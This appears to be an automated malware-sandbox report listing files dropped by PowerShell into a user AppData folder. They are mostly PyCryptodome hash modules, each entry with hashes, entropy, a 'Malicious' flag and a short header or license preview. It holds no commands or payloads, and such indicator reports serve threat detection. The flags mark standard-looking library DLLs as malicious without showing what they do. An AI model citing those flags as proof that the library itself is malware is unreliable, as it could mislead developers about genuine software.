              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD2.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10240
              Entropy (8bit):5.434336431091903
              Encrypted:false
              SSDEEP:
              MD5:651E355E1B12047955D8E2D23DAF98C4
              SHA1:5599946F2DBC2BE5603AB3B21CC5605F25166390
              SHA-256:261C787C28C421432D1BA8B07D9D2FDBED73C2F8A5B27D4CF755AFA6409C05CD
              SHA-512:8FDA0E2A74FB6F774A33766306D1143EC0DA429B6F3622708F4FCA9E7E2BB932029A416780CA1758ADC8D1B2F7E561293FA6D57F839B03847B05F17C0C1ECA4A
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...-..e...........!...%............N........0...............................p............@..........................6.......6..d....P.......................`.......2...............................1..@............0..|............................text............................... ..`.rdata..(....0......................@..@.data........@......."..............@....rsrc........P.......$..............@..@.reloc.......`.......&..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD4.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):11264
              Entropy (8bit):5.7491431618529685
              Encrypted:false
              SSDEEP:
              MD5:B186B120E486DB9B4132A38E5C34C960
              SHA1:AB24AE7520CE68DAA9725703F2BA7C05F7E23588
              SHA-256:CD9F033356D2689212215C868763F6C43D4A510D1907EBFB1B4F532534733D1F
              SHA-512:A45C43ED7D7CC793236BE6D822D231F99A35F9BAA0AE63AA7ED2EB6816EAE3ED38DCB5FC98C10AAE1B433D2366E0DB26814AACC5038114A4096EDFD20AD61C18
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L......e...........!...%............N........0...............................p............@.........................@5.......5..d....P.......................`..l....1...............................0..@............0..|............................text............................... ..`.rdata..h....0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc..l....`.......*..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD5.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):12288
              Entropy (8bit):5.806427442388011
              Encrypted:false
              SSDEEP:
              MD5:83DB203273B63DB1D1666840BB0E71D9
              SHA1:157B58BD6A089282836F1A3723432DC95E1DF4D5
              SHA-256:F7A3D04C0CB8301506B89B44DE5889016347D1607F15D2ED16712CE06A2E232D
              SHA-512:3DC039BE87489B316FF8D809135C29785203AA265D4A5117D3001CFD71A1DE7870B2EDEB76AA6596DB73A9043F021A498AB3C3E00628AF5992392CF80457CA6F
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L......e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..l...x1...............................0..@............0..|............................text...+........................... ..`.rdata..H....0....... ..............@..@.data........@.......*..............@....rsrc........P.......,..............@..@.reloc..l....`......................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):11264
              Entropy (8bit):5.413442037310423
              Encrypted:false
              SSDEEP:
              MD5:3997387AA13BC2BE8C6D75A6DA925EF3
              SHA1:B12EADD0FFEFA10AEB6B70659AEC949D1975C770
              SHA-256:338BCDEAD74DFB728252B54F481117A0B5B40C86A70C95B304FF6A1E5DA4A524
              SHA-512:580E7F65C519C33C710A2917113C56812EF05A0F12E6D4DEF3BB2F42E0CB744C9C1BBFE87A54AADEAAA3E754524C6F77E36F213A401EF50ABF8B9052583D068C
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...4..e...........!...%............N........0...............................p............@..........................6......X7..d....P.......................`.......3..............................P2..@............0..x............................text............................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......*..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA1.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):16384
              Entropy (8bit):6.076265358698928
              Encrypted:false
              SSDEEP:
              MD5:E432E1E5AD35F45DC34CD034CCAED111
              SHA1:9CA70728B955C5D0FF8C6C3871D80946A259D603
              SHA-256:679CCF793D3D9EF4F0B4B8647F022DA4F40847D3084A4D84441CFBEFBBA37C6F
              SHA-512:3B7B313313B81965384F036CDEC7145CA0AC67F5C8AD8DAB60E4710CB8348314BD8DA1BAF9982D4B0BAD378B1089A1D5F5F3ECACF0ECB0CF8412F2F4993BAF1D
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L......e...........!...%.,..........N........@............................................@..........................E.......E..d....`.......................p..x...xA...............................@..@............@..|............................text....+.......,.................. ..`.rdata..P....@.......0..............@..@.data........P.......:..............@....rsrc........`.......<..............@..@.reloc..x....p.......>..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA224.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):18432
              Entropy (8bit):5.970456337666413
              Encrypted:false
              SSDEEP:
              MD5:F1BCB5201E274FA9696AE330A5E06056
              SHA1:9A1EDF31C17B0565C2687BF61010EFE305CDC7C2
              SHA-256:C0AF73B1F8BC6B86995DAC103AE5A853744914762086B57E3BC8DF29CD5233FF
              SHA-512:84CA339E40074F9641A0A8409CB78E5731A5784AC11A13021A5A5AFAE8B78C5FCD81BB8E5BF1FAEBC3DD088B35B4E8C842AEBA8A12D519211CE27A54CB76A477
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...0..e...........!...%.2..........N........P............................................@..........................V.......V..d....p..........................t....R...............................Q..@............P..|............................text...b0.......2.................. ..`.rdata..`....P.......6..............@..@.data...,....`.......B..............@....rsrc........p.......D..............@..@.reloc..t............F..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA256.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):18432
              Entropy (8bit):5.964747110712993
              Encrypted:false
              SSDEEP:
              MD5:DFE083D26D047BEC3349C6345DB1AFA5
              SHA1:1C02FEEA790456083EE4ACDD4263F84B8A920CCD
              SHA-256:3C82DB1BCCE7BCBE4CCCD6716F92B900957D279AFC7F7A2A59523A40D3009617
              SHA-512:542BAABFC90D905A67F2D62B1FD27A0053145D5F532EDB1CBB005258EDC72F0D448570F513AA5D8108857727966E28553741287073032A35B9E6E3787CDB4FD6
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L.../..e...........!...%.2..........N........P............................................@..........................V.......V..d....p..........................t....R...............................Q..@............P..|............................text...B0.......2.................. ..`.rdata..`....P.......6..............@..@.data...,....`.......B..............@....rsrc........p.......D..............@..@.reloc..t............F..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA384.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):38912
              Entropy (8bit):6.2081292481440435
              Encrypted:false
              SSDEEP:
              MD5:AA8CAF413B18D9548729D5F455B2DA69
              SHA1:0C5830B555C9FCC7AEA56E4256192ED5D5BF0417
              SHA-256:356B0EE34C719953D5122A835EEAA6A4A334C99A8873A6B3E7B2B45641FBE3D2
              SHA-512:235598C1DEFB745F54A7A173D42E9B344751E242207EF6B8BC362AEA057896B13117141AA9464BB7B5BBCACA5F0B1C87DF158220765CB4D11ABF490ECD2328D4
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m...*.m.....m......m..m..m.....m.....m.....m....m....m...F.m....m..Rich.m..................PE..L...2..e...........!...%............N.....................................................@.....................................d...............................t...@...................................@...............|............................text...e........................... ..`.rdata.. ...........................@..@.data...4...........................@....rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA512.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):39424
              Entropy (8bit):6.239644424186895
              Encrypted:false
              SSDEEP:
              MD5:AD97617D4BC580E9C5BAE880865DEF77
              SHA1:88FC140782BA5A38D14D38F996C1391E0BCAA573
              SHA-256:B805D429D9CFDDD2621A4A6CA42EE8183C9506D3BC790A83E5B1B04C297B7B2D
              SHA-512:326CB3E9434BCB878FD3E30E609D5F3C963294CBF75A228768AD3EBF8110AC0A3EBA2EB212B5E7D9157FA290EE3EA07E9094FB772D0608EB2622E0230D0D51EF
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m...*.m.....m......m..m..m.....m.....m.....m....m....m...F.m....m..Rich.m..................PE..L...3..e...........!...%............N.....................................................@.........................@.......(...d.......................................................................@...............|............................text............................... ..`.rdata..............................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):3008
              Entropy (8bit):5.230297505186991
              Encrypted:false
              SSDEEP:
              MD5:273FE2618CACD783CC30C94EB92B1F76
              SHA1:0E303EDEB936B8F552F30AAAF4953B9A6F29B8D4
              SHA-256:79AA947F1C29D838ADF9FB696FE5EFC169FA67C73CCEE8ABB89FD65985D6B440
              SHA-512:01BF678948D0C0F6FB02718D2619140580B0F735D02D87433136DA65916C7A8C8C4E7F734DF2B063209693A56BD3F8D2D4E5E2E879543E9EEB5425838B0D0315
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\__init__.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2085
              Entropy (8bit):5.17608688273199
              Encrypted:false
              SSDEEP:
              MD5:36A0E0920BC50C5AC662383955E311A1
              SHA1:FFF119192B3BB62C9EC36F076FE2F65012BB0DEA
              SHA-256:A4763996875B02499733BA1336240470992D9B7C5B1AF986DD0FE6FFC52F5642
              SHA-512:78B5C6B11A20678902A236FAE88E1E78D933475D5AD618054B6D0FF9FCC6F9F2A1CD92B8D745D92CDDA9BDDA1DB621333ACAEAAF3E3332E7DD8094E4CAAD4D34
              Malicious:false
              Reputation:unknown
              Preview:from typing import overload..from typing_extensions import Literal....from Crypto.Hash.SHA1 import SHA1Hash..from Crypto.Hash.SHA224 import SHA224Hash..from Crypto.Hash.SHA256 import SHA256Hash..from Crypto.Hash.SHA384 import SHA384Hash..from Crypto.Hash.SHA512 import SHA512Hash..from Crypto.Hash.SHA3_224 import SHA3_224_Hash..from Crypto.Hash.SHA3_256 import SHA3_256_Hash..from Crypto.Hash.SHA3_384 import SHA3_384_Hash..from Crypto.Hash.SHA3_512 import SHA3_512_Hash....@overload..def new(name: Literal["1.3.14.3.2.26"]) -> SHA1Hash: .....@overload..def new(name: Literal["SHA1"]) -> SHA1Hash: .....@overload..def new(name: Literal["2.16.840.1.101.3.4.2.4"]) -> SHA224Hash: .....@overload..def new(name: Literal["SHA224"]) -> SHA224Hash: .....@overload..def new(name: Literal["2.16.840.1.101.3.4.2.1"]) -> SHA256Hash: .....@overload..def new(name: Literal["SHA256"]) -> SHA256Hash: .....@overload..def new(name: Literal["2.16.840.1.101.3.4.2.2"]) -> SHA384Hash: .....@overload..def new(name: Lit

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10240
              Entropy (8bit):5.39395207981322
              Encrypted:false
              SSDEEP:
              MD5:D5B29442690A910A263AF7FD8B5395C4
              SHA1:ED2D72881B5E73082757228A8756FB251690A819
              SHA-256:B00EE3886A2EB216AB7DF2AC310EB20264C6F4B767A6AC024E05A38D84BF6EC4
              SHA-512:EF1ABD19133A8CEE5592CEF8E488E231E093EEF8BE93AA08F57DCF7E8C08F0939706FA4F509E48D9F0DEDD9DC75639A3763191EDF89AB20D7E285F6E1791A6D3
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.?.go..v...ao..(...`o..co..Bo..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.S.bo..Y..bo..Richco..................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..\....1...............................0..@............0..t............................text...n........................... ..`.rdata.......0......................@..@.data........@......."..............@....rsrc........P.......$..............@..@.reloc..\....`.......&..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10752
              Entropy (8bit):5.458758161835021
              Encrypted:false
              SSDEEP:
              MD5:2B341D7237DB72E7A60704D0B712CA9D
              SHA1:D462476AFE982A8FFCCD03587B5AC8BAE31BB97A
              SHA-256:E1F9D61FBA353964ADC8B06CDB705F2E5360235582B0FEEBA42A9EBFAAD6529A
              SHA-512:DCE3B29F48DC737A1BF26CE6518DE298D1A8EC18BC852B30EDF54318968F7391814FFDDF1C0949A355FDDC1629B8F76845C47370EDA4759A968EAFBD869C87DA
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i....R..i.......i......i...i...i.......i.......i.......i.......i.......i....>..i.......i..Rich.i..........................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..H...p1...............................0..@............0..t............................text............................... ..`.rdata.......0......................@..@.data........@.......$..............@....rsrc........P.......&..............@..@.reloc..H....`.......(..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_keccak.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):15360
              Entropy (8bit):5.576864484095592
              Encrypted:false
              SSDEEP:
              MD5:3CD50F4CA53C3DC717F08CD25618FAB1
              SHA1:756F0B5A62E80E4D999F4EC9C36420A261D33916
              SHA-256:72E283A931115DEE425C298DB1E65298FC2680A6B5B8186163EC6EEB288C4D6A
              SHA-512:09067010CCB4ED5EEA0C6CD2DF5505EFFAA44B8C2543B561FECDCCAD2D04499A2AF80D9D67732B1294915001D8F20C3724C7BAB800E2384AB697E1C1618D1FB8
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...4..e...........!...%.&..........N........@............................................@..........................E.......F..d....`.......................p......@B...............................A..@............@..|............................text....$.......&.................. ..`.rdata..,....@.......*..............@..@.data........P.......6..............@....rsrc........`.......8..............@..@.reloc.......p.......:..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_poly1305.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):12288
              Entropy (8bit):5.690196553690945
              Encrypted:false
              SSDEEP:
              MD5:12498BD1E240FA76902E1EE89A391876
              SHA1:B889B29F5624BD186803E32F9C89FF132D5CDE86
              SHA-256:5118321B4AC0B2D8650910C22658939C5D1435502CD9168BB44C24530A413A04
              SHA-512:A791FA69F5C9A48A75E57B598C73987635CF3EF3B6F3A660B70372672FD60B5798647BE79BDE8A3FE4AC4A2B6960AC88ADB8DA05388F471FC4E9AA356B6A12A4
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m...*.m.....m......m..m..m.....m.....m.....m....m....m...F.m....m..Rich.m..................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..x...x1...............................0..@............0..|............................text............................... ..`.rdata..0....0....... ..............@..@.data...4....@.......*..............@....rsrc........P.......,..............@..@.reloc..x....`......................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\cSHAKE128.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6550
              Entropy (8bit):4.889437799325704
              Encrypted:false
              SSDEEP:
              MD5:C1D439DDBFB7743AB178FFC1860B3C49
              SHA1:E7036F22D605E27B82BDD441DB1450D8E203E1F7
              SHA-256:25255524B26D401F859A162E6271277370F87F2AD42B94BFA27FA98BF15536B7
              SHA-512:85255ABE9BAAEB7FF7ECF4A6790D0B0F6DE3FB2BB0EA5B46BD3FBCF0C167C8E1F25EAEFB45B3BD94F1F22225D4F15144C1236A43403F700D0CB9C28DD8E33EE6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\cSHAKE128.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):513
              Entropy (8bit):4.65254840298011
              Encrypted:false
              SSDEEP:
              MD5:650178B2B4C1BBE35CB633D193929B0B
              SHA1:08A93F8C458ED63BB136821EF52ADF04B70C02A8
              SHA-256:996DE23B6A41D7158B3C0DD8B3DE5DE532F6953706640866CBE19243A882F3A3
              SHA-512:628B50274BDFA31ABCA9D06A433C493C0953C3F8BBB4949BC83EBF370F383F182D80DAF12850388F0B0EB0D989A6CA3E34329CFF9FB8051F4E649DA6F47B8C3E
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class cSHAKE_XOF(object):.. def __init__(self,.. data: Optional[Buffer] = ...,.. function: Optional[bytes] = ...,.. custom: Optional[bytes] = ...) -> None: ..... def update(self, data: Buffer) -> cSHAKE_XOF: ..... def read(self, length: int) -> bytes: .......def new(data: Optional[Buffer] = ...,.. custom: Optional[Buffer] = ...) -> cSHAKE_XOF: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\cSHAKE256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2258
              Entropy (8bit):5.32151039741095
              Encrypted:false
              SSDEEP:
              MD5:9595C708A747BEBEC78D587B98118FA7
              SHA1:A007C6E687D054CFD418D12399C8424116171290
              SHA-256:32810B278FB43848BEDBF75D04AFC4C081D544BC512FEB2CE119ED010301C964
              SHA-512:7514E8613909021A4E7F9F5D61E0C43822CD4021B21566528DA241E9C30B5DB72875AF4AE1A3763563E464875AD400D8CAC3DD124C88516CE4577C618CB8E8D0
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\cSHAKE256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):239
              Entropy (8bit):5.024092138608156
              Encrypted:false
              SSDEEP:
              MD5:20ADE99CAEE7A7470D7F06423C91497F
              SHA1:6DDBD7AC33D5777F69B03C9FC201872959DC7C50
              SHA-256:C4B4B0E07985F4C8338D8ABF9803AC1A46F8D1D579B237E207D06D47D1199C18
              SHA-512:A10381306BC87E08F780C199DAD52473288319E8EAD9C50C49ABEC1D3257EF783B954F41D5E4EB4F551CADB219CC67153FBD9FA454CC724541C06510B3B10892
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....from Crypto.Hash.cSHAKE128 import cSHAKE_XOF....Buffer = Union[bytes, bytearray, memoryview]....def new(data: Optional[Buffer] = ...,.. custom: Optional[Buffer] = ...) -> cSHAKE_XOF: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\keccak.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7724
              Entropy (8bit):4.640445445125216
              Encrypted:false
              SSDEEP:
              MD5:EC2B85AAC10E4BEE0F1D2920F7B198E9
              SHA1:1C01AE68A7B76914047BD63EED135F94FA218D76
              SHA-256:E2B3E86D48CA669585E69F0320653E8D7712144BB31548C4D451E957C76B2CB6
              SHA-512:1C837AA8479AB17022CB4ABBC59DFB7A279272B90027A97F036987748885AB1C3157BB622BE03D9A6C74AC01ED6339349F15548A778EAFB72B52F35C03AE68B3
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\keccak.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):764
              Entropy (8bit):4.362163899247177
              Encrypted:false
              SSDEEP:
              MD5:0A2310BA7677F27E22A421132A86D382
              SHA1:A976C8749DEE4E295DD8C808E2A7A47922E86BB4
              SHA-256:3A1DB3E7321EFB30C4AAF0FAD5728728C7AADCEBBBE91E4272940DB1F9A677F9
              SHA-512:6526BCDFF7B41EB7E94F83A2E1A770D6216E4C575410E8689C7119F6A53170CAA5B2F8AED037EB5AB40C7CA361C2E7208BF3F19C69D8E619150A1C68779FE22C
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Any....Buffer = Union[bytes, bytearray, memoryview]....class Keccak_Hash(object):.. digest_size: int.. def __init__(self,.. data: Buffer,.. digest_bytes: int,.. update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> Keccak_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self,.. data: Buffer = ...,.. digest_bytes: int = ...,.. digest_bits: int = ...,.. update_after_digest: bool = ...) -> Keccak_Hash: .......def new(data: Buffer = ...,.. digest_bytes: int = ...,.. digest_bits: int = ...,.. update_after_digest: bool = ...) -> Keccak_Hash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\PEM.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7137
              Entropy (8bit):5.119608310082165
              Encrypted:false
              SSDEEP:
              MD5:D47C57763FDA9057BE5F653CFFC76BD0
              SHA1:3D758758AC5F98B04F317232FFD18D95CD62489C
